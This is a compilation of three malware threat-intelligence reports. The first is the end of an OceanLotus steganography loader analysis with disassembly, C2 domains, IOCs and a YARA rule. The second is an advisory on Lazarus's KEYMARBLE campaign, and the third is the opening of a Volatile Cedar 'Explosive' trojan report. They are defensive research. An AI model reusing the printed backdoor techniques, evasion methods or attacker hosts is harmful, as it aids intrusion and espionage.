Resource P1/1 contains config values, including port number and a registry path: .rsrc:0097B108 res_P1_1        dd 0, 230FD6D4h, 0E14E775h, 23358h, 0FFFFFFFFh, 14h dup(0) .rsrc:0097B108                 dd 8, 1138CCECh, 60h, 8E7C0003h, 0A8626E59h, 20926E73h .rsrc:0097B108                 dd 0FBEDE54Eh, 3D70648Fh, 9DB1247Fh, 0E314700Ch, 0DEE5DA86h, 9C70A7FFh .rsrc:0097B108                 dd 0AAB010CEh, 0EFB573BDh, 20B86F65h, 0BC325832h, 6E9BBE1Fh, 0F018C9A7h .rsrc:0097B108                 dd 0FBC42E22h, 0FC18150Ah, 5B129A84h, 84DFEEE9h, 0EE1BA8Dh, 0B81053E0h .rsrc:0097B108                 dd 1DE06A6Ah, 36BAD01Dh, 8FD6E94Eh, 7175D957h, 0A264352Dh, 0F2B39453h .rsrc:0097B108                 dd 8BCD3945h, 7Ah, 0E2h dup(0) .rsrc:0097B574                 dd 443 .rsrc:0097B578                 text UTF-16LE, SOFTWARE\Classes\CLSID\57C3E2E2-C18F-4ABF-BAAA-9D1 .rsrc:0097B578                 text UTF-16LE, 7879AB029,0 Figure 45.
Embedded configuration Resource P1/2 contains list of C2 URLs: .rsrc:0097B5F4 res_P1_2        db background.ristians.com:8888,0Ah .rsrc:0097B5F4                 db enum.arkoorr.com:8531,0Ah .rsrc:0097B5F4                 db worker.baraeme.com:8888,0Ah .rsrc:0097B5F4                 db enum.arkoorr.com:8888,0Ah .rsrc:0097B5F4                 db worker.baraeme.com:8531,0Ah .rsrc:0097B5F4                 db plan.evillese.com:8531,0Ah .rsrc:0097B5F4                 db background.ristians.com:8531,0Ah .rsrc:0097B5F4                 db plan.evillese.com:8888,0Ah,0 Figure 46.
Hardcoded C2 URLs 31OceanLotus Steganography : Malware Analysis White Paper Resource P1/ 0xC8 contains an additional compressed DLL used for C2 communication (HTTPProv): .rsrc:0097B6BC res_P1_C8       dd 898608                uncompressed size .rsrc:0097B6C0                 db 5Dh, 0, 0, 0, 1       LZMA header .rsrc:0097B6C0                                          compressed data - 637000 bytes .rsrc:0097B6C5                 db 0, 28h, 0Ch, 3Ch, 1Bh, 86h, 81h, 0A2h, 10h, 0B8h, 56h, 0A9h .rsrc:0097B6C5                 db 6, 6Eh, 0A9h, 0CAh, 0F8h, 91h, 12h, 0EEh, 4Fh, 60h, 0E2h, 3Eh .rsrc:0097B6C5                 db 55h, 3Bh, 5Fh, 0F6h, 83h, 32h, 9Ah, 7Dh, 83h, 2Ah, 18h, 8Fh .rsrc:0097B6C5                 db 0C6h, 83h, 94h, 0ECh, 0E7h, 31h, 0C7h, 0C5h, 0C2h, 0Eh, 0E2h, 0ECh .rsrc:0097B6C5                 db 0CBh, 94h, 88h, 30h, 4Eh, 0D8h, 0FEh, 0B5h, 8Bh, 0E6h, 0DEh, 0C7h Figure 47.
Compressed C2 communication library Configuration values from the resources are then passed as parameter to one of the backdoors functions in the following manner: .text:0090612E                 mov     [ebpresource_2_urls], eax .text:00906131                 cmp     [ebpresource_2_urls], 0 .text:00906135                 jz      short loc_906150 .text:00906137                 cmp     [ebpresource_2_size], 0 .text:0090613B                 jbe     short loc_906150 .text:0090613D                 mov     edx, [ebpresource_2_size] .text:00906140                 push    edx .text:00906141                 mov     eax, [ebpresource_2_urls] .text:00906144                 push    eax .text:00906145                 push    offset a9e3bd021B5ad49  9E3BD021-B5AD-49DE-AE93-F178329EE0FE .text:0090614A                 call    [ebpdecr_dll_export_1_0x15DAA30] .text:0090614D                 mov     [ebpresource_size], eax Figure 48.
Initialization of config values After the content of resource 0xC8 is decompressed, another function from the backdoor DLL is used to load the C2 communication module to the memory and call its CreateInstance export: .text:009062C6                 lea     eax, [ebpdecompr_buffer] .text:009062C9                 push    eax .text:009062CA                 mov     ecx, [ebpres_size] .text:009062CD                 push    ecx .text:009062CE                 mov     edx, [ebpresource_C8h] .text:009062D1                 push    edx .text:009062D2                 call    decompress_second_mz .text:009062F2                 mov     ecx, [ebpmz_size] .text:009062F5                 push    ecx .text:009062F6                 push    0 .text:009062F8                 lea     ecx, [ebpdecompr_buffer] .text:009062FB                 call    get_ptr .text:00906300                 push    eax              ptr to decompressed resource .text:00906301                 call    [ebpdecr_mz_export_2_0x15DBC70] Figure 49.
Decompression of second DLL Finally, the launcher passes control to the main backdoor routine: .text:00906313                 call    get_export_3_ptr .text:00906318                 mov     [ebpdecr_mz_export_3_0x15D9130], eax .text:0090631B                 cmp     [ebpdecr_mz_export_3_0x15D9130], 0 .text:0090631F                 jz      short endp .text:00906321                 call    [ebpdecr_mz_export_3_0x15D9130] .text:00906324                 mov     [ebpvar_20], eax Figure 50.
Call to the main backdoor routine 32OceanLotus Steganography : Malware Analysis White Paper Configuration Name Content Length Notes ?
0 4 name is read from resource P1/0x64 12C044FA-A4AB-433B- 88A2-32C3451476CE memory pointer 4 points to a function that spawns another copy of malicious process 9E3BD021-B5AD-49DE- AE93-F178329EE0FE CC URLs varies content is read from resource P1/2 0 config varies content is read from resource P1/1 B578B063-93FB-4A5F- 82B4-4E6C5EBD393B ?
4 0 (config0x486) 5035383A-F7B0-424A- 9C9A-CA667416BA6F port number 4 0x1BB (443) (config0x46C) 68DDB1F1-E31F-42A9- A35D-984B99ECBAAD registry path varies SOFTWARE\Classes\CLSID\57C3E2E2-C18F- 4ABF-BAAA-9D17879AB029 Backdoor DLL The backdoor DLL is stored in the .rdata section of the launcher, compressed with LZMA, and encrypted with RC4.
The binary is heavily obfuscated with overlapping blocks of garbage code enclosed in pushf/popf instructions.
The DllMain function replaces the pointer to GetModuleHandleA API with a pointer to hook routine that will return the base of the backdoor DLL when called with NULL as parameter (instead of returing the handle to the launcher DLL): seg000:015B6B45 loc_15B6B45:                             CODE XREF: hook_GetModuleHandleADj seg000:015B6B45                 mov     [ebpGetModuleHandleA], 0 seg000:015B6B4C                 lea     eax, GetModuleHandleA seg000:015B6B52                 mov     [ebpGetModuleHandleA], eax seg000:015B6B55                 lea     eax, [ebpflOldProtect] seg000:015B6B58                 push    eax              lpflOldProtect seg000:015B6B59                 push    PAGE_EXECUTE_READWRITE  flNewProtect seg000:015B6B5B                 push    4                dwSize seg000:015B6B5D                 push    [ebpGetModuleHandleA]  lpAddress  0x168509C GetModuleHandleA seg000:015B6B60                 mov     [ebpflOldProtect], 0 seg000:015B6B67                 call    ds:VirtualProtect seg000:015B6B6D                 test    eax, eax seg000:015B6B6F                 jz      ret_0 seg000:015B6B75                 mov     eax, [ebpGetModuleHandleA] seg000:015B6B78                 mov     dword ptr [eax], offset getmodhandle_hook seg000:015B6B7E                 lea     eax, [ebpflOldProtect] seg000:015B6B81                 lea     esp, [esp8lpflOldProtect] Figure 51.
Overwriting GetModuleHandleA pointer 33OceanLotus Steganography : Malware Analysis White Paper seg000:015B5F50 getmodhandle_hook proc near              DATA XREF: hook_GetModuleHandleA58o seg000:015B5F50 seg000:015B5F50 var_20           dword ptr -20h seg000:015B5F50 var_C            dword ptr -0Ch seg000:015B5F50 var_s0           dword ptr  0 seg000:015B5F50 lpModuleName     dword ptr  8 seg000:015B5F50 seg000:015B5F50                 push    ebp seg000:015B5F51                 mov     ebp, esp seg000:015B5F53                 mov     eax, [ebplpModuleName] seg000:015B5F56                 test    eax, eax seg000:015B5F58                 jz      loc_15B5F68 seg000:015B5F5E                 mov     [ebplpModuleName], eax seg000:015B5F61                 pop     ebp seg000:015B5F62                 jmp     ds:GetModuleHandleA_ptr seg000:015B5F68  --------------------------------------------------------------------------- seg000:015B5F68 seg000:015B5F68 loc_15B5F68:                             CODE XREF: getmodhandle_hook8j seg000:015B5F68                 mov     eax, offset base_addr seg000:015B5F6D                 mov     ebp, [espvar_s0] Figure 52.
GetModuleHandleA hook The backdoor also contains an export that loads the C2 communication module reflectively to the memory from resource passed as parameter and then calls its CreateInstance export.
While we are still in the process of analyzing this backdoors full functionality, it seems to be similar to the Remy backdoor described in our previous whitepaper on OceanLotus malware.
C2 Communication Module This DLL is stored in the launchers resources and compressed with LZMA.
Its also heavily obfuscated, but in a slightly different way than the backdoor.
Although it doesnt contain an internal name, we believe its a variant of HttpProv library, as described in the ESET white paper on OceanLotus.
This module is used by the backdoor during HTTP/HTTPS communication with the C2 server and has a proxy bypass functionality.
34OceanLotus Steganography : Malware Analysis White Paper Appendix Indicators of Compromise (IOCs) Indicator Type Description ae1b6f50b166024f960ac792697cd688be9288601f423c15abbc755c66b6daa4 SHA256 Loader 1 0ee693e714be91fd947954daee85d2cd8d3602e9d8a840d520a2b17f7c80d999 SHA256 Loader 1 a2719f203c3e8dcdcc714dd3c1b60a4cbb5f7d7296dbb88b2a756d85bf0e9c1e SHA256 Loader 1 4c02b13441264bf18cc63603b767c3d804a545a60c66ca60512ee59abba28d4d  SHA256 Loader 2 e0fc83e57fbbb81cbd07444a61e56e0400f7c54f80242289779853e38beb341e SHA256 Loader 2 cd67415dd634fd202fa1f05aa26233c74dc85332f70e11469e02b370f3943b1d SHA256 Loader 2 9112f23e15fdcf14a58afa424d527f124a4170f57bd7411c82a8cdc716f6e934 SHA256 Loader 2 ecaeb1b321472f89b6b3c5fb87ec3df3d43a10894d18b575d98287b81363626f SHA256 Loader 2 478cc5faadd99051a5ab48012c494a807c7782132ba4f33b9ad9229a696f6382 SHA256 Loader 2 72441fe221c6a25b3792d18f491c68254e965b0401a845829a292a1d70b2e49a SHA256 Payload PNG (loader 1) 11b4c284b3c8b12e83da0b85f59a589e8e46894fa749b847873ed6bab2029c0f SHA256 Payload PNG (loader 2) d78a83e9bf4511c33eaab9a33ebf7ccc16e104301a7567dd77ac3294474efced SHA256 Payload PNG (loader 2) E:\ProjectGit\SHELL\BrokenSheild\BrokenShieldPrj\Bin\x86\Release\DllExportx86.pdb PDB Path Loader 1 C:\Users\Meister\Documents\Projects\BrokenShield\Bin\x86\Release\BrokenShield.pdb PDB Path Loader 2 kermacrescen.com C2 7244 stellefaff.com C2 7244 manongrover.com C2 7244 background.ristians.com:8888 C2 11b4 enum.arkoorr.com:8531 C2 11b4 worker.baraeme.com:8888 C2 11b4 enum.arkoorr.com:8888 C2 11b4 worker.baraeme.com:8531 C2 11b4 plan.evillese.com:8531 C2 11b4 background.ristians.com:8531 C2 11b4 plan.evillese.com:8888 C2 11b4 SOFTWARE\Classes\CLSID\E3517E26-8E93-458D-A6DF-8030BC80528B Registry/ CLSID 7244 SOFTWARE\App\AppX06c7130ad61f4f60b50394b8cba3d35f\Applicationz Registry 7244 SOFTWARE\Classes\CLSID\57C3E2E2-C18F-4ABF-BAAA-9D17879AB029 Registry/ CLSID 11b4 79828CC5-8979-43C0-9299-8E155B397281.dll Internal name 11b4 35OceanLotus Steganography : Malware Analysis White Paper Hunting VirusTotal imports:GdipGetImageWidth AND imports:WriteProcessMemory AND imports:GdipCreateBitmapFromFile AND tag:pedll YARA import pe rule OceanLotus_Steganography_Loader  meta: description  OceanLotus Steganography Loader strings: data1  .
?AVCBC_ModeBaseCryptoPP ascii condition:\ // Must be MZ file uint16(0)  0x5A4D and // Must be smaller than 2MB filesize  2MB and // Must be a DLL pe.characteristics  pe.
DLL and // Must contain the following imports pe.imports(gdiplus.dll, GdipGetImageWidth) and pe.imports(gdiplus.dll, GdipCreateBitmapFromFile) and pe.imports(kernel32.dll, WriteProcessMemory) and // Check for strings in .data for all of (data) : ( in ( pe.sections[pe.section_index(.data)].raw_data_offset .. pe.sections[pe.section_index(.data)].raw_data_offset  pe.sections[pe.section_index(.data)].
raw_data_size ) )  20190328-0195 2019 Cylance Inc.
Trademarks, including BLACKBERRY, EMBLEM Design, CYLANCE, and CYLANCEPROTECT are trademarks or registered trademarks of BlackBerry Limited, its affiliates, and/or subsidiaries, used under license, and the exclusive rights to such trademarks are expressly reserved.
All other trademarks are the property of their respective owners.
1-844-CYLANCE salescylance.com www.cylance.com mailto:sales40cylance.com?subject http://www.cylance.com _Ref530764786 _Ref535440627 Introduction Steganography Loader 1 Overview Features Loader Analysis Steganography Loader 2 Overview Features Loader Analysis Backdoor Launcher Initial Shellcode Launcher DLL Configuration Backdoor DLL C2 Communication Module Appendix Indicators of Compromise (IOCs)
20 de febrero de 2019 ATTACKS OF THE LAZARUS CYBERCRIMINAL GROUP ATTENDED TO ORGANIZATIONS IN RUSSIA securitysummitperu.com/articulos/se-identifico-ataques-del-grupo-cibercriminal-lazarus-dirigidos-a- organizaciones-en-rusia Security investigators have concluded that the North Korean state-sponsored cybercriminal group, Lazarus, would be conducting suspicious activities targeting companies based in Russia.
This is based on the connections discovered between the tactics, techniques and tools detected and the mode of operation of the group also known as Hidden Cobra.
Affected Services Microsoft Windows Operating Systems Technical details The Lazarus campaign targeting Russia uses malicious Office documents delivered as ZIP files, along with a PDF document called NDA_USA.pdf that contains a StarForce Technologies agreement, which is a Russian software company that provides copy protection software.
The security community believes that Lazarus is divided into at least two subdivisions: the first called Andariel, which focuses on attacking the government and organizations of South Korea, and the second, Bluenoroff, whose main focus is monetization and campaigning.
1/4 http://securitysummitperu.com/articulos/se-identifico-ataques-del-grupo-cibercriminal-lazarus-dirigidos-a-organizaciones-en-rusia/ https://i0.wp.com/securitysummitperu.com/wp-content/uploads/2017/03/Recomendacion.jpg global espionage This incident, however, represents an unusual choice of victim by the North Korean threat actor.
Typically, these attacks reflect geopolitical tensions between the Democratic Peoples Republic of Korea (DPRK) and nations such as the United States, Japan and South Korea.
Infection chain The main infection flow consists of the following three main steps: 1.
A ZIP file that contains two documents: a benign decoy PDF document and a malicious Word document with macros.
2.
The malicious macro downloads a VBS script from a Dropbox URL, followed by the execution of the VBS script.
3.
The VBS script downloads a CAB file from the server in the download zone, extracts the embedded EXE file (KEYMARBLE) with the Windows expand.exe utility and finally executes it.
Figure 1 : Lazarus KEymarble malware infection sequence.
KEYMARBLE 2/4 This malware is a remote administration tool (RAT) that provides its operators with basic functionality to retrieve information from the victims computer.
Once executed, it performs several initializations, contacts a Command and Control (CC) server and waits indefinitely to receive new commands.
Each command received is processed by the backdoor and is handled within an appropriate function, which in turn collects information or performs an action on the target computer.
Commitment Indicators (IoC) IP 194 [.]
45 [.]
8 [.]
41 37 [.]
238 [.]
135 [.]
70 Hashes MD5 : dc3fff0873c3e8e853f6c5e01aa94fcf SHA256 : 1c4745c82fdcb9d05e210eff346d7bee2f087357b17bfcf7c2038c854f0dee61 MD5 : 704d491c155aad996f16377a35732cb4 SHA256 : e23900b00ffd67cd8dfa3283d9ced691566df6d63d1d46c95b22569b49011f09 MD5 : 2b68360b0d4e26d2b5f7698fe324b87d SHA256 : 49a23160ba2af4fba0186512783482918b07a32b0e809de0336ba723636ae3b6 MD5 : a7be38e8f84c5ad9cce30d009dc31d32 SHA256 : f4bdf0f967330f9704b01cc962137a70596822b8319d3b35404eafc9c6d2efe7 MD5 : 7646d1fa1de852bb99c621f5e9927221 SHA256 : 9894f6993cae186981ecb034899353a04f1a9b009bdf265cecda9595b725ee20 MD5 : 22d53ada23b2625265cdbddc8a599ee0 SHA256 : 8e099261929b1b09e9d637e8d054d5909b945b4157f29337977eb7f5fb835e5d Our clients are recommended to follow the following preventive actions to reduce risks: For information security personnel: Maintain a strict update protocol for operating systems, antivirus and all applications running on them.
Constantly raise awareness among users on issues related to computer security.
3/4 Restrict the ability (permissions) of users to install and run unwanted software applications.
Do not add users to the local administrators group unless necessary.
Block the commitment indicators (IOC) shown in the security devices of your infrastructure.
Before carrying out the blocking of IOCs, it is important that in the development environment it is previously validated and confirmed at the level of internal and external services, in order to apply the changes in a controlled manner.
For end users: Verify the account information that sends you an email, the name and address of the recipient to identify if they are suspicious.
Do not open emails of doubtful origin (unknown sender), or click on links, or download unknown attachments.
If a spam or phishing email is detected, report it immediately to the information security officers of your institution.
Scan all software downloaded from the Internet before execution.
Visit secure web pages (https), and verify the digital certificate with a click on the status bar lock.
Sources Source 1:  North Korea Turns Against New Targets ?
Source 2:  North Korean APT Lazarus Targets Russian Entities with KEYMARBLE Backdoor If you have any questions, do not hesitate to contact us:  reportssecuresoftcorp.com 4/4 https://nt.eulb.me/p/cl?datavb0iYwFN4MoulomCSYyg6GwAOpAaOYnxmwCwTOSvcMaf4I2c0KOet2fGPkQmZJnYCJlvXjsA4ZCFpiYkZfgDMmQ3d3d-ae:h-https3a2f2fresearch.checkpoint.com2fnorth-korea-turns-against-russian-targets2f https://nt.eulb.me/p/cl?datavb0iYwFN4MoulomCSYyg6GwAOpAaOYnxmwCwTOSvcMaf4I2c0KOet2fGPkQmZJnYCdtO6IeojaeiWO97hfxiOhw3d3d-ae:h-https3a2f2fwww.bleepingcomputer.com2fnews2fsecurity2fnorth-korean-apt-lazarus-targets-russian-entities-with-keymarble-backdoor2f http://trk.masterbase.com/v2/MB/43BE8FF8FC213E8AFDF5C6C0803C9A6513BDB9B8B33092C6940B492440DC056AED60237C5C28A4B816C10971CFBF8470F434869A98F71B1F50296609B6FEC8DEBC4378103A88B41950A8AEA2DA67547AE02325D254FF29D5DE215EE9BE0338944A7507A07DE1DCE35AE70D5C3D9119EEFDC3511C78380777A51F56EA493EB6729DE8DBCAA7E3C886032EFE90F776CE5E0DA50E0DA5033455155DB2849E3238BE ATTACKS OF THE LAZARUS CYBERCRIMINAL GROUP ATTENDED TO ORGANIZATIONS IN RUSSIA
VOLATILE CEDAR THREAT INTELLIGENCE AND RESEARCH MARCH 30, 2015 2015 Check Point Software Technologies Ltd. All rights reserved      2 EXECUTIVE SUMMARY ....................................................................................... 3 OVERVIEW ........................................................................................................... 3 ATTACK TIMELINE .............................................................................................. 4 STEALTH ............................................................................................................. 4 CONTROL NETWORK .......................................................................................... 4 INFECTION SPREAD ........................................................................................... 5 ATTRIBUTION ..................................................................................................... 6 EXPLOSIVE ANALYSIS ......................................................................................... 7 EXPLOSIVE VERSIONS ........................................................................................ 8 CONFIGURATION ................................................................................................ 8 OBFUSCATION .................................................................................................... 9 COMMUNICATION .............................................................................................. 10 APPENDIX A  MICRO ......................................................................................... 15 APPENDIX B  REMOVABLE MEDIA INFECTION ............................................... 15 APPENDIX C  INDICATORS OF COMPROMISE .................................................. 16 APPENDIX D  SCRIPTS AND SIGNATURES ...................................................... 19 APPENDIX E  OTHER INFORMATION ................................................................ 20 APPENDIX F  WEB SHELLS .............................................................................. 21 APPENDIX G  SAMPLE HASHES ....................................................................... 21 APPENDIX H  CHECK POINT DETECTION NAMES ........................................... 22 TABLE OF CONTENTS 2015 Check Point Software Technologies Ltd. All rights reserved      3 EXECUTIVE SUMMARY Beginning in late 2012, a carefully orchestrated attack campaign we call Volatile Cedar has been targeting individuals, companies and institutions worldwide.
This campaign, led by a persistent attacker group, has successfully penetrated a large number of targets using various attack techniques, and specifically, a custom-made malware implant codenamed Explosive.
This report provides an extended technical analysis of Volatile Cedar and the Explosive malware.
Malware attribution is often tricky and deception-prone.
With that in mind, investigation of the evidence leads us to suspect Volatile Cedar originates from Lebanon (hence its nickname).
Moreover, the Volatile Cedar target vertical distribution strongly aligns with nation-state/political-group interests, eliminating the possibility of financially motivated attackers.
We have seen clear evidence that Volatile Cedar has been active for almost 3 years.
While many of the technical aspects of the threat are not considered cutting edge, the campaign has been continually and successfully operational throughout this entire timeline, evading detection by the majority of AV products.
This success is due to a well-planned and carefully managed operation that con- stantly monitors its victims actions and rapidly responds to detection incidents.
Volatile Cedar is heavily based on a custom-made remote access Trojan named Explosive, which is implanted within its targets and then used to harvest information.
Tracking down these infections was quite a difficult task due to the multiple concealment measures taken by the attackers.
The attackers select only a handful of targets to avoid unnecessary exposure.
New and custom versions are developed, compiled and deployed specifically for certain targets, and radio silence periods are configured and embedded specifi- cally into each targeted implant.
The modus operandi for this attacker group initially targets publicly facing web servers, with both automatic and manual vulnerabil- ity discovery.
Once in control of a server, the attackers further penetrate the targeted internal network via various means, including manual online hacking as well as an automated USB infection mechanism.
We will discuss the attack vectors and infection techniques used by the attack campaign as well as provide indicators that can be used to detect and remove the infection.
For hashes, domains, IP addresses and other indicators of compromise, see Appendix C. Some of the details in this investigation were edited or omitted from this report to protect customer privacy and ongoing research efforts.
Further information may be released in future reports.
OVERVIEW Volatile Cedar is a highly targeted and very well-managed campaign.
Its targets are carefully chosen, confining the infection spread to the bare minimum required to achieve the attackers goal while minimizing the risk of exposure.
Our analysis leads us to believe that the attackers conduct a fair amount of intelligence gathering to tailor each infection to its specific target.
The campaigns initial targets are mostly public web servers, running the Windows operating system.
We believe this is because these servers serve as publicly exposed, easily accessible gateways to private and more secure internal networks.
As these servers have a common business functionality, their security is often sacrificed for productivity, making them an easy target for attackers.
Once the attacker gains control over these servers, he can use them as a pivot point to explore, identify, and attack additional targets located deeper inside the internal network.
The typical Volatile Cedar attack begins with a vulnerability scan of the target server.
Once an exploitable vulnerability is located, it is used to inject a web shell code into the server.
The web shell is then used by the attacker to control the victim server and is the means through which the Explosive Trojan is implanted into the victim server.
This Trojan allows the attackers to send commands to all targets via an array of CC servers.
The command list contains all the functionality required by the attacker to maintain control and extract information from the servers and includes keylogging, clipboard logging, screenshots, run commands, etc.
Occasionally, mostly in cases where large data extractions are required, the attacker sets up additional SSH tunnels connecting to the attacker-controlled servers.
2015 Check Point Software Technologies Ltd. All rights reserved      4 ATTACK TIMELINE The first evidence of any Explosive version was detected in November 2012.
Over the course of the timeline, several versions have been detected.
New version release dates appear to be closely related to the occurrence of an AV detection event on the previous version, a fact which emphasizes the efforts taken to conceal the attack.
The latest Explosive version was released in June 2014 and is still active at the time of this publication.
See the figure below for more details.
Figure 1 - Explosive version timeline STEALTH The Explosive Trojan goes to a lot of effort to hide from common detection tools and merge into its surroundings.
AVdetectionsareavoidedbyfrequentlycheckingAVresultsandchangingversionsandbuildsonallinfectedserverswhenany traces of detection appear.
See Figure 1.
Newversionsareequippedwithadedicatedthreadtomonitormemoryconsumptiontopreventcommonserveradministration utilities from detecting the Explosive processes.
Once Explosives memory consumption reaches a predefined threshold, its hosting process is immediately restarted.
APIactivitieswhichmaybeconsideredsuspiciousaredetachedfromthemainlogicfileandcontainedinaseparateDLL.
This enables the attackers to make sure that heuristic detections do not lead to exposure of the Trojan logic itself.
Customconfigurationsaresetonapertargetbasis.
Forexample,eachTrojanconfigurationcontainsperiodsofradiosilence during which Explosive does not initiate any network communication.
These periods are set according to the specific targets working hours and low traffic periods.
ObfuscatedCCcommunicationmayappearasrandomnetworktrafficnoisetocertainnetworkinspectiondevices.
AdedicatedthreadmakesperiodicsecurecheckswiththeCCservertoconfirmthatitissafetooperate.
Oncetheresponseto these checks is negative, the Explosive Trojan ceases all operations until instructed otherwise.
CONTROL NETWORK The campaign uses a multi-tiered server backend framework to control the targeted systems.
This backend framework is composed of 3 major tiers: 2015 Check Point Software Technologies Ltd. All rights reserved      5 Tier 1CC servers: Each Explosive Trojan attempts to connect to its CC servers, which are used to send commands and receive information extracted from the targets.
Each Explosive version has a default hardcoded CC address.
Different versions use different CC servers.
Tier2Staticupdateservers: These servers are periodically connected to obtain the current CC address.
If a new CC address is available, the default CC server is updated with the new one.
The static CC updater address is also hardcoded as part of the Explosive configuration section.
Tier3Dynamicupdateservers: If the static CC server is nonresponsive, the Explosive infection initiates a custom DGA algo- rithm which attempts to connect to the dynamic update servers.
Once connected, these servers operate the same way as the static updaters.
Some Explosive versions also use the dynamic update servers as their CC servers.
The server framework is diverse.
While some servers are owned (and possibly also hosted) by the attackers, other servers use publicly shared hosting frameworks or even compromised legitimate servers.
Table 1 - Explosive server infrastructure INFECTION SPREAD Evidence shows that the Explosive Trojan leverages its keylogging capabilities to gain access to administrator passwords entered on the target servers.
Additionally, residues of custom-built port scanners and several other attack tools have been found on the victim servers, leading us to believe the attackers use the initially infected servers as a pivot to manually spread to the entire network.
More recent versions of the Explosive Trojan contain a configurable option for USB infection.
When this option is enabled, Explosive infects any writable mass storage device connected to the server.
This can be used to infect additional servers in environments where operational mass storage devices are shared between servers, as well as infect an administrators home or office machines.
For additional information on the USB infection process, see Appendix B.
2015 Check Point Software Technologies Ltd. All rights reserved      6 ATTRIBUTION Malware attribution has always been a difficult task and Volatile Cedar is no different.
Although we have no hard evidence upon which to base our conclusions, and many of the factors we rely on can in theory be forged or misinterpreted, we believe the unique combination of these factors reveal the attackers agenda and provide a good estimation of his whereabouts.
1.
To assign a rough geographical location, we observed the UTC creation times of detected samples.
The results can be seen in the following table: Figure 2 - Explosive sample UTC compilation hours With conventional working hours usually between 08:00-17:00, the creation locale time can be comfortably correlated to GMT2.
2.
To further align our results, we took into account several other factors collected from the CC server infrastructure: TheCCserversforthefirstExplosive version were hosted at a major Lebanese hosting company.
This is not commonly seen in the malware arena.
DNSregistrantinformationfromseveraloftheinfrastructureserversshowsthattheyareorwerepreviouslyregisteredunder contacts with a very similar Lebanese address.
CarefulobservationofDNSregistrantcontactinformationhistoryhasrevealedanOPSECfailurebytheattackersinoneinstance.
For a brief period (possibly before the server was operational), WHOIS privacy was inactive, pointing at a real identity of the regis- trant.
This e-mail address leads to social media accounts that show public and clear affinity with Lebanese political activism.
While not all of the targets have been identified yet, we can start building a profile of the intended victims.
Some of the confirmed tar- gets can be associated with organizations related to the state of Israel, and some are Lebanon-based, potentially testifying to in-state espionage among rival political groups.
Other factors to consider are the low infection rate and the targeted nature of this campaign.
These suggest that the attackers motives are not financial but aim to extract sensitive information from the targets.
The combination of these factors leads us to believe that the attack originated or is sponsored by groups affiliated with Lebanon and the specific targets are chosen based on nation-state/political-group interests.
2015 Check Point Software Technologies Ltd. All rights reserved      7 EXPLOSIVE ANALYSIS The Explosive Trojan contains 2 major components: Themainexecutablebinary ADLLfilecontainingbackendAPIcalls The main executable file contains most of the Trojan logic, while the DLL primarily contains exported actionable API functions.
The Explosive DLL file is dynamically loaded by the main executable at runtime whenever it is needed, and unloaded when the desired action is complete.
This separation is probably designed to support quick functionality patches by the attackers, and to avoid heuristic detection of the main executable by common AV engines and other protection software.
ExportedDLL Function Description Version CON Main communication API.
All GetAllData Collect extensive data from user, OS and applications.
All GetIEHistory Get Internet Explorers history of browsing data.
All OpenClipFn OpenClipboard wrapper.
3 PathProcess Locate and kill currently loaded Explosive modules.
All SetWinHoK Wrapper around SetWindowsHookExA.
All Registerapp Write Explosive registry values.
All CreateNewFile Create a new Explosive instance on external mass storage device.
1, 2 Fdown URLDownloadToFile wrapper.
1 Table 2 - Common Explosive DLL functions Both the main executable and the DLL are compiled as a standard VC application.
The main executable is a console application which supports several optional command-line arguments used to control the Trojans behavior: Option Function -i Install the Explosive Trojan as a service.
The service is usually created with a blank description.
-h \ -x Force the Explosive Trojan to a 20 second delay on startup.
-d Stop the Explosive process, and remove all traces of infection from the system.
Table 3 - Optional command line options Once installed, the Explosive Trojan creates several threads to support its functionality: Thread Description Key Logger A basic implementation of a Windows key logger using the SetWindowsHookEx API call.
Clipboard Logger Logs all clipboard data implemented by periodically opening and peeking into the current user clipboard data.
Memory Monitor Constantly monitors Explosives memory consumption by calling the GetProcessMemoryInfo API and reading WorkingSetSize.
CC Secure Checks Periodically connects to the CC server with a special connection string, and determines if the connection is secure by the return of a predefined value.
If the connection is not secure, all operations are stopped until a secure connection is achieved.
Table 4 - Main explosive threads 2015 Check Point Software Technologies Ltd. All rights reserved      8 EXPLOSIVE VERSIONS Over the entire attack timeline, we detected 5 different versions of Explosive: Explosive Version Description Version 1 Un-obfuscated network traffic.
Version 2 Most common version, clipboard monitoring added.
Version 3 Most advanced version detected.
KS Version Uses only keyboard and clipboard hooking modules.
Micro Possible ancestor.
Uses the same CC server framework.
Table 5 - Explosive versions The earliest version of Explosive is version 1, and the first sample compiled is dated to November 2012.
This version includes very basic backdoor features.
CC communication is not obfuscated.
The default CC server is no longer active, and we believe no infec- tions of this version are currently active.
Version2andVersion3 are more mature implementations of the Explosive Trojan, with added concealment and operational features as well as a new set of supported actions for CC commands.
The KSversion is very similar in functionality to other Explosive versions.
However, this version has no communication functionality and is most probably used by the attackers to avoid network detection in special cases.
This version stores the extracted server data on the servers file system to be downloaded later by the attacker using the pre-installed web shell.
Micro seems to be an early ancestor of the Explosive Trojan.
Only a few samples of it were detected.
Micro does not use the same CC server or protocol as the other versions, but uses the dynamic updater framework to pass commands via HTTP.
For more details of the Micro version, see Appendix A. CONFIGURATION Each of the main Explosive binary files contains an integrated configuration section, which is located at a fixed position in the binary image overlay.
The configuration section itself is not encrypted but the readable configuration values are stored as obfuscated strings.
Figure 3 - Explosive Configuration Section 2015 Check Point Software Technologies Ltd. All rights reserved      9 As expected, the configuration section evolves with subsequent versions of Explosive, and newer versions present new configuration parameters.
Parameter Name Description Version DLD-ACT Explosive constantly attempts to update its CC IP address when this flag is set.
All DLD-C A unique identifier used for updating CC communication.
All DLD-C0 Same as DLD-C. All DLD-D URL for the static CC updater.
All DLD-E TLD of the dynamic CC updater.
All DLD-P Path for the dynamic CC updater.
All DLD-IHC No communication is generated during silent mode when this flag is set.
2, 3 DLD-IH1 Starting hour of silent mode.
2, 3 DLD-IH2 Ending hour of silent mode.
2, 3 DLD-PRT Default CC Port.
All DLD-IP Default CC IP address.
All DLD-OIP Other (additional) CC IP addresses.
3 DLD-NTI Delay time between CC connections.
All DLD-RCH Registration related.
2, 3 DLD-RL Registration related.
2, 3 DLD-RN Registry key name.
All DLD-S Initial value for dynamic CC updating DGA.
All DLD-SN Installed service name.
2, 3 DLD-ST Installed service type.
2, 3 DLD-TN Unique identifier for CC communication.
All DLD-USA Removable device infection method.
All DLD-USI Removable device infection flag.
All Table 6 - Configuration parameters OBFUSCATION Explosive uses custom obfuscation techniques to encode configuration values, CC communication, and CC updating protocols.
The obfuscation algorithm is not very advanced and does not attempt to merge the obfuscated data into its surroundings.
The primary motivation for this obfuscation appears to be to avoid detection by automated security tools such as antivirus or IPS engines.
